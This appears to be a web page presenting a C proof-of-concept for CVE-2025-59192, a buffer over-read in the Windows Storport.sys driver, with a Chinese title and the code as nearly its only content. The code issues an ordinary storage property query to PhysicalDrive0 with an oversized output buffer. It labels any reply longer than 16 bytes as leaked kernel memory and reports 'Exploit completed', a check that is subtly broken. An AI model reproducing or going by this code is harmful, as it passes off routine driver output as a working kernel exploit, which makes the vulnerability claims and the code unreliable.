CVE-2025-59192：Windows Storport.sys 驱动程序缓冲区过度读取漏洞

/* * CVE-2025-59192 - Storport.sys Buffer Over-Read PoC (Conceptual) * This is a conceptual proof-of-concept demonstrating the vulnerability type. * A real exploit would require kernel debugging and specific IOCTL codes. */ #include <windows.h> #include <stdio.h> #include <stdlib.h> // Open a handle to the Storport device HANDLE OpenStorportDevice() { // Storport devices are typically accessed via symbolic links // e.g., \\.\PhysicalDriveX or via storage device paths HANDLE hDevice = CreateFileA( "\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); return hDevice; } // Trigger buffer over-read via malformed IOCTL request BOOL TriggerBufferOverRead(HANDLE hDevice) { // Allocate a small input buffer char inputBuffer[16] = {0}; // Set output buffer size larger than expected (triggers over-read) DWORD outputBufferSize = 0x10000; // Intentionally oversized char* outputBuffer = (char*)malloc(outputBufferSize); if (!outputBuffer) { return FALSE; } DWORD bytesReturned = 0; // Send IOCTL with crafted buffer size to trigger over-read // The specific IOCTL code would need to match the vulnerable code path BOOL result = DeviceIoControl( hDevice, IOCTL_STORAGE_QUERY_PROPERTY, // Example IOCTL - actual code may differ inputBuffer, sizeof(inputBuffer), outputBuffer, outputBufferSize, // Oversized output buffer triggers over-read &bytesReturned, NULL ); // Check if more data was returned than expected (indicating over-read) if (bytesReturned > sizeof(inputBuffer)) { printf("[+] Buffer over-read triggered! Bytes returned: %d\n", bytesReturned); // Analyze leaked kernel memory for (DWORD i = 0; i < bytesReturned && i < outputBufferSize; i++) { printf("%02x ", (unsigned char)outputBuffer[i]); } printf("\n"); } free(outputBuffer); return result; } int main() { printf("[*] CVE-2025-59192 - Storport.sys Buffer Over-Read PoC\n"); HANDLE hDevice = OpenStorportDevice(); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open Storport device. Error: %d\n", GetLastError()); printf("[*] Note: This PoC requires administrator or specific privileges\n"); return 1; } printf("[+] Device handle obtained successfully\n"); if (TriggerBufferOverRead(hDevice)) { printf("[+] Exploit completed\n"); } else { printf("[-] Exploit failed\n"); } CloseHandle(hDevice); return 0; }